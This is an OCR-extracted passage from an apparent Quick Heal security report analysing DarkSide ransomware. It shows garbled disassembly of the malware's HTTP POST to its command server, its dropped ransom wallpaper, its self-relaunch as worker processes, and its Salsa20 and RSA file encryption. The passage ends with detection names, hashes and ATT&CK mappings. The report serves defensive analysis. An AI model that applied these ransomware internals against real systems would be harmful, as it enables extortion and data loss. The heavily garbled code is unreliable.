BZZIFECS| @o@zalla|] Access = KEY QUERV VALLE | KEY_EMUMERATE_SUE_KEYS I KEY_MOTIFY i zZ8188
B221FECC| HOEREEEE pSecurLty =

B2Z1IFEDE| BZZIFF14|] pHandle = BEEIFF14

B221FED4| @22iFF@g(bplDisposition = B2Z21FFES

BZZ1FEDS| do@a@a01

(=S TR = = T BT T T R T

After that, it generates a POST request and sends it to the baroquetees.com

B221FEDE| BZ21FEFA|| format = "X, Bu=isbi, Bu=is”

B221FED| FBA3ZFE4|] <X. 8w} = FBA3ZFE4

H221FEDS| BR495AS(] <Xsk = "IlKsJMBHBd1z a7 PEcKHux 1M LguSL zeMilzy sGo0Ewd g0 Tulk SkrHHEPE 005GInH] [BwSsLdrrl
E221FEDC| &7D9CESE|] <n. 8l = BFDRCEEE

E2Z1FEES BE410356\Ldks = “ORETDERE24T2634"

s | A —————

[221FELCC B@469HHB[5 = BA465AAE -

e e, BT [T

BE4E92E]1( . &R B0 PLUSH @

AE4EIZES( . A @@ FLSH @
BE4EIZEE( . eA @& FLSH @

AR4AIZET| . FF7S EC PLISH OWORD FPTR S5: [EEP-141

EEEEEESE . FFLE F4ES4266( CALL DWORD FTR DS: [4282F41 | wininet.Intecnetdpenll
BE4EIZFE[ . 2945 FC HOL DWORD FTR S5: [EEF-41,EAX

AAE4EIZFE| . 2370 FC @a@ CHFP OWORD FTR 55:[EEBF-41,@

BE4EDZF?| .~75 BS JMZ SHORT 97P9692cd, BE4E9ZFE

BEdac2Fy| L~ER BFE1G000 | P S7SE92cd, BR4ES4ES
BE4GSZFE| b GBIS AcG34ioe|HOU_EST,DWORD FTR OS:[4163A5]
BEdE53a4| | 856 TEST ESI,EST

BE465306| .75 G5 JHZ SHORT S79692cd, BR4E2960
BEdE530%| L~ES AREIPEEO | P STSE9ZCd. BRMEI4ES

Fig. Winlnet APIs

BECCHdRE
B2Z21FECE| Bz221FF2H| UNICODE ""FOST™
B221FECC| B2Z21FEFA| UNICODE *“~%YnwhiltRJ™
BZ21FEDR| Haddbibnan
B221FED4 | @ad@abnEn

Fig. Request creation




Security Simplified

Gad4ea3a4| . B5F6 TEST ESI,ESI
BELES3EE | (wTE BE JHZ SHORT 979692cd. BB4a9Sa0
GE4E9262| .~E9 AEA18888 | JMP 9?96920d BE4ESIEE
aa4e93e0| > 6A 9PA PLSH
GE4E92EF | . GA BA PLSH
aa482311| . &6A B3 PUSH 2
GE4E9212| . 6Q BA FUSH B
aad4a2315| . A 98 PUSH &
GE4E9217| . 63 EE@LEAEA |FUSH 1BE
BE4E921C| . B& PUSH ESI
aa483310| . FFFS FC PUSH OWORD PTR SS: [EBP-41
GE459226| . FF1E F2@2420@| CALL DWORD PTR DS: [4282F2] wininet.InternetConneatl
aa4E326| . 2945 F8 Hay DwDRD ETR 55:LEBP-S1,ERx
GE4E9229| . 2370 F2 6@ CHP DWORD PTR SS:[EEP-
aad4adI20| ,~75 24 JHZ SHDRT SPPERZod. 96469353
BE4EAZZF| > BE
0Ed82555| 7 BRic comeszon| CALL DWORD PTR DS: (4286687 ntdll.weslen
aa4E3336| . 23C4 a4 ADD_ESF
GE4E9229| | 2ECH TEST EAX,EA
BE4E9SEE| .75 BS JHZ SHORT 9roe3zcd. Boqo3s4z
GE4E9220| ,~E9 720168088 | JMP 979592cd. BAASLE
aad4E234z| > gDF446 B2 LER ESI.DWORD PTE ns [ESI+EAX#2+21
BEdEA3AE| | 1 223E B0 CHF FTR _DS:[ESI],
BE4ER34A| v SHE SRERT ASadsiig 95439351
GE4E934c| ,~E9 64818088 | JMF 97I592cd. BA4AS4E
GE4E9351 | »EE BA WE ZhERT S35 ten, BBBsDED
aa4E2353| > SD45 AZ LEA EAX,DWORD PTR SS5: CEBP-5E]
BE4E93E6| . BB PUSH EAX [Bzal
Ge4E%357 | . ES ED@1@88@ |CALL 979c92cd.@@489549 ITIEPZod. BR4EIEST
GE4E93EC| . 2D4E D2 LEA EAX,DWORD PTR S55: CEEF-Z2E]
Ge4E235F | . CY@E SoaadFeal MOY OWORD PTR DS: CEAMI, 4FE658
GE4E9365| . Crdld_@d4 SI@85( MOU DWORD PTR DS: CEAX+d], S40853
GE4E9ZEC| . G5:C74@ B2 5@ MOU WORD PTR DS: (EAX+21,6
aa4e2372| . 6A 9@ PUSH 8
GE4E9374| . 62 PRAEEERE | PUSH SA005a
aa482373| . 6A BA PUSH 8
GE4E9EFE| . &6A BA FUSH B
aa4a2370| . A 98 PUSH &
aad4e337F| . 2D45 AZ LEA EAX,DWORD PTR SS: [EBP-5E]
BE4E9322| . BB PUSH_EAR
aa4E9333| . 2045 D2 LEA EAX DWORD TR SS: (EBF-ZE1
BE4E9326| . BB USH
32357 . FFFE Fa PUSH DMDRD FPTR 55: [EBP-81
X . FF15 @ce9d4zm6| CALL OWORD FTR DOS: [42698C] ‘wininet.HttpOpenRequestl
GadEaIoE| . 9945 F4 U OWORD FTR SS:EE F-C1, EA
GE4E9322| . 237D _F4 @@ CHF DWORD FTR CEEF-
BE4AES297 | [.TE 1Z Ohe BHeET SrBeSSiit 994993n3
aa4823323| . FFFS F8 PUSH DWORD PTR SS: LEBP
GE4E925C| . FF1E @4@89426@| CALL DWORD PTR DS: E428984] wininet.InternetCloseHandle
BE4OSSAZ| . CP4S FE o000 MO DWORD FTR SS: LEEP-
BRI e BHERT STBe3SiiCBRaaater
BE4BoZAB| 3 68 DSFE4BBE PUSH 979592cd. GB4EFEDS fAral = @E48FEDS
GE4E93E6| . ES ZFSAFFFF | CALL 973&32cd. oadis10ES SFIERZod. BEAE1DED
P BB SEE SEAE B FAl RABR BTG 8. FEBG_1m1 Erw
=" L'=LE=1""= LIrCria -~
T
EOx HAE47"=Z=257VE ASCII "=HOCE "
- -
E=SI OEadSESF=E LUHICODE Earoquest == . o
EIF 8Ead4Aa39=3Z2SA 7 3s32cd .. HE4Ea3=2S2RH
Z & ES aazZE =Z2Z2bit 8l FFFFFFEFFEFE 1
F 1 CS @GE2=2 22bit BLFFFFFFEFF)
A @ =SS5 BEZE 22bit BIFFFFFFFF]
- - ™= [T o-Tanl o'l Lo Lo ] S S - e rerrerrT T
EEEEEEEEI = E LEA ERX,DWORO FTR S55: [CEEF-ZE]
4 & . 5@ FPUSH ERX
4 7| . FF7E Fg2 FPUSH DWORD PTR S5: [EEF-21]
L A . FF1E BCB34268 CALL DWORD PTR DS: [42698C]
o . 9945 F4 MO DWORD PTR SS: [EEP— C] EFIH
. 237D _F4 88 CHF DWORD FTR SS: [EEFP-I
7| . JME SHDRT 9?9692c:d 884893FIB
2| . FFEVS FZ2 FUSH FTR SS: [EBF-31]
e C| . FE15 848342808 CALL Dll.IDRD PTR Os5: [428984] wininet.InternetCloseHandle
4 Az . C7Y45 F2 @8@86) MO DWORD PTR SS:[EBF-21,
4 A -~EE 24 JHP SHORT 979&692cd. 8848932F
L ne| > &2 D2FE428Q PUSH 272692cd. AR4EGFEDS = BE4aFEDZ
4 e8| . E2 ZFSAFFFF CFILL 9?96920:! Ba4a10E4 9?96920d 2a4810E4
4 ZES| . 8245 F@ TR SS: EEBP 18] ,.ERX
4 ZEZ| . 837D F@ 8@ CI‘1P DlLIDRD PT SS:[EEF-18],8
4 SEBC| o7 = JHE SHORT 979c3z2cd. 83489363
4@A22EE| ~E? FZO@a@aa JHMP 373692 cd. BR4EI4BE
4 =2C2| > CP45 EA @@a@asl Mou DuoRD S:[EBP-28].8
L ZCA| . CP4E DC @4@88] MOV DWORD PTR SS5: [EEP-241.4
4 201 - 2045 DC LEA EAH,DWORD PTR SS: [EBP-241
4 sD4| . S8 FUSH ER=X
4 Z05| . SDh4S E@ LEA EAX, DWORD FTR SS5:[EBFP-281
4 02| . S8 FUSH ER=
4@3302%| . 6A_1F P F
4 =Z0E| . FE7S F4 FPUSH DWORD PTR S5:[EEBFP-C]
4 ZDE| . FF1E 90@8342688| CALL DWORD PTR DS:[4269867 wininet. Internet@ueryOpt ionh
L ZE4| . 25O TEST _EAX,EAX
4 SES| .75 B85 JHE SHORT 979592cd. 884892ED
4 ZEZ| .+E? Coo0a0ag JHF 272692 cd. 0A4834ES
: > 2%4E4E6 Ba336 DR DLUDRD FTR S35: [EEF-zZ@1, 345683308
e . 2045 EB _EFl EFIX DWORD PTR S5:[EEBFP-281
4 - gg =‘LISH EQ
L -
L - FF F4 DUSH Dll.IDF!D PTR S5: [EEFP-C]
4 . FE1S FCBS4208| CALL DWORD PTR DS: [4282FC1 wininet. InternetSetOpt ionhl
. S5C TEST _EARX,EAR
TS B85 JHE SHDRT ITIED2od. BB4E340E
«~E9_H¥ JHP 97969 20d. BE4E94BS
E| > FEFE F@ PLUSH OWORD FTR SS:[EBP-1@1]
1 - FF15 £8054266| CALL _DWORD PTR D0S:[4286638] ntdll.weslen
Y. 2304 84 ADD ESF, 4
Al « B3 FUSH EEX
E| - EFFS E& PUSH DWORD PTR SS: [EBP-121]
El . 5@ FUSH
F| - FFTS F@ FUSH DWORD FTR S5: [EEBF-1@1]
= « FFVS F4 FUSH DWORD FPTR SS: [EEBFP-LC1]
5| . FE15 188342808 CALL Dll.IDRD PTR D5:[428918] wininet.HttpSendRequestll
E| . 25C TEST _ERX,
D .~75 BE JHZ SHDF!T 9?9692cd 83489434
F| .~E2 21008088 JHP 9T2592cd. 04834
<4 > CP4S DC 1@l MOV DWORD FPTR S5 EEBP 241,18
E| . Cr4S EB@ @@@aal MOV DWORD FTR SS:EEBP—EBJ.B
2| - 8070 .z LE

Fig. HTTP APIs




Security Simplified

The status code 500 is checked instead of 200, which means it checks for error

instead of success. After this we will review the functionality of main thread again.

The malware then goes ahead to create icon files in the ProgramData directory

with unique ID name:

BB45 08

C700 ZEOOG&3900
C740 04 63006F00

mov dword ptr ds:[
mov dword ptr ds:[

*.ObZcbgaa”

mov eax,dword ptr ss:|febp+s] [ebp+8]:L
ED40 02 lea eax,dword ptr ds:[eax+2]
4] push eax
53 push ebx ebx:L"C:\\ProgramData''\0b2cbs4a.ico”
FF15 &CO&4200 €all dword ptr ds:[<&wcscat=]
B3C4 08 add esp,s
53 push ebx ebx:L"C:\\Programbata\’\0obzchs4a.ico"
FF15 &8064200 €all dword ptr ds:[<é&wcslen=]
B3C4 04 add esp,4
800443 Tea eax,dword ptr ds:[ 2]

ea:
eax+4] 53

Fig. Icon Creation

This image is set as wallpaper value in the registry after the bmp file is dropped.

Welcome to DarkSide!

All your files are Encrypted!

Find README.Ob2cb84a.TXT and follow instructions!

Fig. Wallpaper

A named event object called “Local\\jobO-<Process Id>-Event” is created by the

binary as shown in the figure:

68 1FO0OFOO0
53

FF15 20074200

FF15 FCO&4200

~ E9 FEO20000
C706 5CO05CO00
C746 04 ZFOO5C00
FF75 10
8D46 08

70064200
o8

94074200
AC

4C006F00

62006100
&C005C00
25007300
ZD004500
76006500
GEDQO7 400
C 00000000
ZBFFFFFF

ABFEFFFF
88064200
ABFEFFFF

6A 00
FF15 D4074200
BEFS8

push FOO1F

push ebx

€31l dword ptr ds:[<&MapViewofFilex]

mov esi,eax eax:L"Local jobo-2732-Event”
test esi,es

jne new.4071A5

push ebx

€311 dword ptr ds:[

jmp new.4074A3

mov dword ptr ds:[

mov dword ptr d

push dword ptr ss [ebp+10] 1 L™"C 1Y)

lea esax,dword ptr eax:L"Localjob

push eax eax:L"Local‘\job

€311 dword ptr ds:[<&wcscpy>]

add esp, s

push esi

€311 dword ptr ds: [<&UnmapVviewOfFilex]

lea ecx,dword Ecbp-5 4

mov dword ptr d FOC

mov dword ptr d

mov dword ptr d

mov dword d

mov dword

mov dword

mov dword

mov dword

l1ea eax,dword

push eax eax:L"Local jobo-2732-Event”
push ecx

lea e=ax,dword -158])

push eax eax:L"Local\\job0o-2732-Event”
€31l dword ptr d [<&swprintf>]

add esp,C

l1ea eax,dword ptr ss:|[ebp-15:z])

push eax eax:L"Local\\jobo-2732-Event”
push o

push 1

push o

€all dword ptr ds:[<&CreateEventw:]

mov_edi,eax eax:L"Localy,Jjob0-2732-Event

- 21



2.6 Encryption:

Quick Heal

Security Simplified

Later the malware runs itself with 3 parameters corresponding to the process ID

of the earlier one.

FFFF

FFFF

4200

Tea eax,dword ptr 5s:[ebp-1eC]
push eax

lea eax,dword ptr ss:[[ebp-1DC
h eax

pus

push o
push o
push 2
push 1
push o

push
push dword ptr ss:[febp-4])
ush 0

o

dword ptr ds: [<@&CreateProcessw>]

mov esi,eax
test esi,esi
ine new.a073ce

Fig. Creating new processes with 3 parameters.

Image | Performance | Performance Graph | Disk and Network | Threads | Tcp/tP | security | Environment | strings |

Image File

[H

Version:  nfa
Build Time: Tue Apr 06 05:09:09 2021
Path:

C:\Samples'darkside. bin 97969 2cd 7fc6 33beeate 3d68c 75 2f360. vir - copy.exe Explore

Command line:
"C:\samples'darkside.bin\97965 2cd 7fce 38beeatead68c752f360, vir - copy.exe” -work worker 1 job1-2244

Current directory:
Ci\samples'\darkside.bin,
Autostart Location:
nfa Explore
Parent:  979692cd7fc638beeatedd68c752360.
User: NT AUTHORITY\SYSTEM
) Bring to Front
Started:  5:51:24PM  11f30/2021  Image: 32-bit

——

[ebp-4]:L"C: \\Samples\\Darkside\\Darkside\\darkside. bin\\new. exe -work workerd job0-2732"
2isamples ———— —y

The main thread uses following mechanism to generate Salsa20 matrix.

P

pop eax
Xor ecx, ecx
cpuid
test ebx, 40006h
setnz al
test al, al
jz short loc_484CHC
¥
FEE
eax eax
edx edx loc_4B4CHC:

short loc_484C1C rdtsc

moy ecx, eax
ror ecx, ODh
rdtsc

mov edx, eax
rol edx, BDh
mov eax, ecx

short loc_484C1C

etn
sub_484BD2 endp




Quick Heal

Security Simplified

The ransomware checks if the RDRAND and RDSEED instructions are supported
by the processor. If it fails, it uses RDTSC to generate 64 byte matrix.

HE4EA4BDS o 1 FPUSH ECH
BE4Ea4BD4 . B& FUSH ESI
BE4dER4EDS o FUSH EDI
HE4Ea4BDE . BH @1 FPUSH 1
HE4Ea4BDS . 5B FPOF ERX
HE4Ea4BD9 . BFAz CFRUID
HE4Ea4BDE . FFPC1l 8aaaaEa4E| TEST ECH, 488EEEAE
HE4E4EBE 1 . BF35CA SETHE AL
HEAL A BE < . 24Ca TEST HL.AL
~ 75 Aag JME SHORT 272:e92cd. BE4E4BFA
HE4A4BES arF OE arF
HE4EA4BED [ OE C7
HE4E84BERA Fa OB Fa
HE4E84BEER arF OE arF
HE4EA4BEC [ OE C7
HE4Ea4BED Fz OB Fz
HE4d4HA4EEE .~EB ZC JMF SHORT 2972&e92cd. E484C10
HE4Ea4BFA > BH @v FPUSH ¥
HE4E4BF 2 . 5B FOF ERX
HE4E4BF 2 . =23C9 “wOR ECH, ECH
HE4E4BFS . BFAz CFRUID
HE4E84BFT7 . FFPC2 AaaaEad4EE| TEST EBX, 408688
HE4Ea4BFD . BF35CA SETHE AL
BE4EAR4CEHA . =24Ca TEST HL,.HL
HE4Ea4CE2 erd @38 JE SHORT 979&92cd. @484 Cac
BE4Ea4CEHS arF OE arF
HE4Ea4CES [ OE C7
HE4A4CHE F& OB F&
HE4Ea4CET7 arF OE arF
HE4Ea4CEHS [ OE C7
aad4a4cEa . FA CLI
HEL AL CEA .~EE 1@ JHMF SHORT 979592cd. @ad4a4C1c
EEEEE TS |ROTSC
HAEGA4CHE . SBCES MO ECH, ER
AE4Ea4C1a . C1C9 an ROR ECH, @0
AE4Ea4C12 . BFz1 ROTSC
AE4Ea4C15 . SEBEDA MO EDx,. EAH
gedodciz| 1 EiE2 ep ROV EDF. o0

Fig. Code to generate SALSA-20 matrix

This matrix is encrypted using implementation of RSA-1024 as follows:

I

sub_485258 proc near
mouv eax, [esi]

mov ebx, [esi+h]
mov ecx, [esi+g§]
mov edx, [esi+@8Ch]
shh [edi], eax

sbb [edi+4], ebx
sbb [edi+8], ecx
sbb [edi+BCh], edx
mov eax, [esi+16h]
mov ebx, [esi+14h]
mov ecx, [esi+18h]
mov edx, [esi+1Ch]
sbb [edi+18h], eax
sbb [edi+14h], ebx
sbb [edi+1Bh], ecx
sbb [edi+1Ch], edx
mov eax, [esi+26h]
mov ebx, [esi+24h]
mov ecx, [esi+28h]
mov edx, [esi+2Ch]
sbb [edi+2Bh], eax
sbb [edi+24h], ebx
sbb [edi+28h], ecx
sbb [edi+2Ch], edx
mov eax, [esi+36h]
mov ebx, [esi+34h]
mov ecx, [esi+38h]
mov edx, [esi+3Ch]
sbb [edi+3Bh], eax
sbb [edi+34h], ebx
sbb [edi+38h], ecx
sbb [edi+3Ch], edx
man ey FTacia+hihl




Quick Heal

Security Simplified

.text:00485199 mov eax, [esi]
-text:008468519B moy ebx, [esi+h]
-text:B884B519E mov ecx, [esi+8]
-text:@846851A1 mou edx, [esi+BCh]
-text:08046851A4 adc [edi], eax
-text:00846851A6 adc [edi+4], ebx
-text:B884851A9 adc [edi+8], ecx
-text:08084651AC adc [edi+BCh], edx
-text:0084851AF moy eax, [esi+18h]
-text:00846851B2 moy ebx, [esi+14h]
.text:B884851B5 mov ecx, [esi+18h]
-text:004651B8 mou edx, [esi+1Ch]
-text:004651BB adc [edi+1Bh], eax
-text:00846851BE adc [edi+14h], ebx
-text:B884851C1 adc [edi+i18h], ecx
-text:004651Ch adc [edi+1Ch], edx
-text:0084851C7 moy eax, [esi+2@h]
-text:0084651CA moy ebx, [esi+24h]
-text:884851CD mov ecx, [esi+28h]
-text:08046851D8 mou edx, [esi+2Ch]
-text:080846851D3 adc [edi+2Bh], eax
-text:00846851D6 adc [edi+24h], ebx
-text:B884851D9 adc [edi+2Bh], ecx
-text:080846851DC adc [edi+2Ch], edx
-text:8084851DF moy eax, [esi+36h]
-text:0084851E2 moy ebx, [esi+34h]
-text:B8A84B51E5 mov ecx, [esi+38h]
-text:004651ES8 mou edx, [esi+3Ch]
-text:004651EB adc [edi+3Bh], eax
-text:0084651EE adc [edi+34h], ebx
-text:B884851F1 adc [edi+38h], ecx
-text:004651F% adc [edi+3Ch], edx
-text:0084851F7 moy eax, [esi+4fh]
-text:0084651FA moy ebx, [esi+ilh]
-text:884851FD mov ecx, [esi+u48h]
-text:00465200 mou edx, [esi+4Ch]
-text:0808485203 adc [edi+4Bh], eax
-text:008465206 adc [edi+44h], ebx
-text:B88485209 adc [edi+4Bh], ecx
-text:0046520C adc [edi+4Ch], edx
-text:00848520F moy eax, [esi+56h]
-text:008485212 moy ebx, [esi+54h]

Fig. AES to encrypt matrix

Now, after encrypting the matrix, the original = yryr
.text :@0484D6F loc_484D6F:
. N . . text:@e4B4DEF mov eax, [edi]
matrix, the encrypted matrix, and its 16-byte hash Ctext 00404071 mov  cbx, [editien]
.text:88484D74 mov ecx, [edi+28h]
- text ;00404077 mov edx, [edi+3@h]
value and the file data to be encrypted are sent to e I  aa e
yp S text:@8484D7C add esi, edx
.text:88484D7E rol esi, 7
-text: 00404081 xor ebx, esi
the Other th read. .text:88484D83 mov esi, ebx
-text 88484085 add esi, eax
.text:80484D87 rol esi, 9
. H H .text:80484DBA xor ecx, esi
The file content is encrypted using a custom Cfexti0040408C mov esi, eex
.text:80484DBE add esi, ebx
-text:@@4e4D9@ rol esi, @Dh
.text: 88484093 wxor edx, esi
Sa |Sa20‘ .text:8e484095 mov esi, edx
.text:88484D97 add esi, ecx
text: 00404099 rol esi, 12h
.text:88484D9C xor eax, esi
-text:@@484D9E mov [edi], eax
-text:88484DAB mov [edi+1ieh], ebx
text:28484DA3 mov [edi+2@h], ecx
-text:88484DAE mov [edi+3eh], edx
- text :88484DA9 mov eax, [edi+lah]
-text:88484DAC mov ebx, [edi+2ah]
-text :88484DAF mov ecx, [edi+34h]
-text:88484DB2 mov edx, [edi+a]
-text:00484DBS mov esi, cax
.text:8e484DB7 add esi, edx
-text: 88484089 rol esi, 7
stext:8e484DBC xor ebx, esi
- text :@8484DBE mov esi, ebx
-text:ee484DCe add esi, eax
Stext:88484DC2 rol esi, 9
.text:88484DC5 xor ecx, esi
- text 1 @88484DCT7 mov esi, ecx
-text:884840C9 add esi, ebx
-text:88484DCE rol esi, @Dh
-text:88484DCE xor edx, esi
-text:80484DD8 mov esi, edx
-text: 88484002 add esi, ecx
text:80484DD4 rol esi, 12h
-text: 88484007 xor eax, esi
R . -text:88484DDI mov [edi+1ah]; eax
.text:8e4e4D0C mov [edi+24h], ebx
Fig. Salsa 20 Implementation | 13%ieeieioor me  feairsand: sox
.text:8e484DE2 mov [edi+4], edx
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Security Simplified

Every targeted file is opened and read using the CreateFileW and ReadFile

functions

[l - =T
BE4EE15F
BE4EE1E4
BE4AE 1 EE
BE4EE 16E
BR4B5160
BE4E516F
BE4E5171
BA46E17E
BE4EE1 7D
EE4EE517F
BE4AE 1 22
BE4EE 126
BR465122
BE4EGE1 28
BE4EE 192
BE46E 125
BE4EGE 1 9B
BE46E5150
BE4AE 1 9F
BE4EE 1AL
BE465 105
BE4EG 1 AS
BE4EE LAY
BA46E1AS
BES4EG1AD
EE46E 1AE
BE4AE 1 AC
BE4EE 1 HF
BR4E8 182
BE4E51B7
BE4EE 1ES
Ba46E 1 BE

BE4EG 1BD
RRARS | C2

A4B51E1
B4BG1ES
B4B1ES
B4BS1ET
B4BS1EC
B4me1EF
B4melF]1
B4BS1F2
A4051F4
B4BG1FS
B4BG1FS
B4BS1FE
B4as200
B4ac2E2
a4as2a0
A4ne20F
a4mezil
a4mezis
A4m521A
A4ms21c

a4@E285

. HPS FL
.vgg 188186888

E2 SEARREER
&M B3

EA GE

GH BE

62 HEEEEECE
FF7E B2

SS?D F2 FF

FF15 2CA742086| CHLL DWORD P

JUPH9?9692cd.BB4862?4
PUSH GRBEGEEZE

H 2
FUSH @

H @
PUSH CHREGEEE
PUSH DWORD PTR S5: [EEP+2]

JMZ SHORT 979692Cd. BE4EE]0F

. 64 SSSD S4@aE0 CHP DWORD PTR FS:[241,28

TS 3
- FF

JMZ SHORT S79692cd. Aa4BelcF
PUSH DWORD FTR SS5: [EEBP+2]

. FF15 DCBB4EBB CALL DWORD PTR DS: [42820C]

53 %0
B2 FFFFFFFF

S F
: ES 98FCFFFF

o8 oz

~EE A7

> B8 FFFFFFFF
(==

G
» 33CA

. 220z
. 20 SBEGEEEE
220A @

(]
I
=
=

. 7o Fo

. FF15 3CA742680
. B5Ca

TR 12

o 64:8%3D S4B

rd

»EB EA

¥ 6H @8

. 8045 F4
=1t ]

. B2 DREOEEEE
o EESE &4FFFFFF

. FF¥E F2

« FFIE 24@v4208
. 2ECH

75 BB

. 64:A1 24PREEGI
. 9945 FC

.~EB 2@

> EA @@

£2 SREEEEGE
ESSE &4FFFFFF
E2 G9REFFFF
ceca

EA 1A
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TEST EHX.ERY
JE SHORT 979892cd. BA4BE1AF
HMOU EAX, -1

4
PUSH DWORD PTR _SS: CEBP+2]
CALL 27969Zcd, BR4ESE4F

TEST ERX,.ERH

JE SHORT 97v9c9Zcd. BE4B51ED
JMP SHORT 979692cd. Ba486164
MO ERE, -1

AR ERT

Fig. CreateFile

JMP SHORT 9?9692cd 88486164
AOR ER, EHX

=OR EDX.EDX

SUE ERX, 2@

SEE EEX.B

FUSH &

FUSH ED:

FIISH EAX

FUSH DWORD PTR S5:[EBP-21
CALL DWORD PTR DS:[42673C]
TEST _EAH, ERX

JHZ SHORT 97969Zcd.BB4BE21A
CHP _DWORD PTR F2:[341,22

JE SHORT 9vocazcd. BodbeZ1s
MOW EAX, DWORD PTR FS:[34]
MOU DWORD PTR SS: [EEP-41,EAX
JHP EHORT 972692cd. 08486274

FUSH @
LEA ERX,OWORD PTR S5: [EBP-C1
PUSH ERX

FUSH 2@
LEA EA,DWORD PTR SS: [EEP-9C]
FUSH EA

FUSH DWORD FTR £5: [EEBF-21
CALL DWORD PTR DS:[428724]
TEST _EAX, EAX

JHZ SHORT 9796920d. BRdaez44
MOL EAX, DWORD PTR FS:[34]

MOU OWORO PTR SS: [EEP-41,ERX
JMP SHORT 979592cd. BA4AE6274
FUSH &

FUSH 26

LEA EA:, DWORD PTR SS: [EEP-9C]
FUSH EAX

CALL 97Voc3zcd. BE481080

MO ECK, EAX

FUSH 14

LEA ERX,0OWORD PTR 55: [EBP-1C1]
FIISH EAX

FPUSH ECH

CALL DWORD PTR DS:[42@EEC]
ROD_ESF,@C

MUY UWUED FIH Sb: LEBEF—3 1, EHX

kernel32.CreateF i Lell

SHLWAFI.FathIsHetworkPathll

[Hrgl
STIESZcd. BE4EEE4F

kernel32.SetFilePointerEs

kernel32.ReadFile

BEEREREGE
BREHEEE

Aras
AraZ2

Aral
ST 9z2cd. BB 1EEE

ntdll.memcmp

Fig. Seek pointer and readfile



Detection

Quick Heal detects this malware as
Ransom.Darkside.S521012356. Apart from
real-time protection, this malware is also
seen by Quick Heal ARW (Anti
Ransomware Protection) as HEUR:
Ransom.Win32.InP, NGAV (Behaviour
Detection System) as Darkside and Seqrite
HawkkHunt (Endpoint Detection &
Response) as QHIR_DARKSIDE.

Conclusion

The Darkside ransomware attack
contributed to business disruption in the
Colonial pipeline attack. We can expect
the initial attack vector technique to
change within short intervals, making
their presence among ransomware solid

and sound.

It has been deleting shadow copies to
prevent recovery. Such strict measures can
be expected in the following variants.
Quick Heal detects the ransomware at
various steps of the infection chain using
its ARW, NGAV, and EDR policies. Users are
advised to keep their anti-malware

products up-to-date.
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SHA256:
afb22b1ff281c085b60052831ead0a0ed300fac0160f87851dacc67d4€158178
0a0c225f0e5ee941a79f2b7701f1285e4975a2859eb4d025d96d9e366e81abb9

Mitre ATT&CK TTP Mappingv

Valid Accounts T1078
PowerShell T1086
System Services: Service Execution T1569
Account Manipulation T1098
Process Injection: Dynamic-link Library Injection T1055
Account Discovery T1087
Abuse Elevation Control Mechanism: Bypass User Access Control T1548
File Permissions Modification T1222
Data Encrypted for Impact T1486
Inhibit System Recovery T1490
System Information Discovery T1082
Process Discovery T1057
Screen Capture T3

Compile After Delivery T1500
Service Execution T1035
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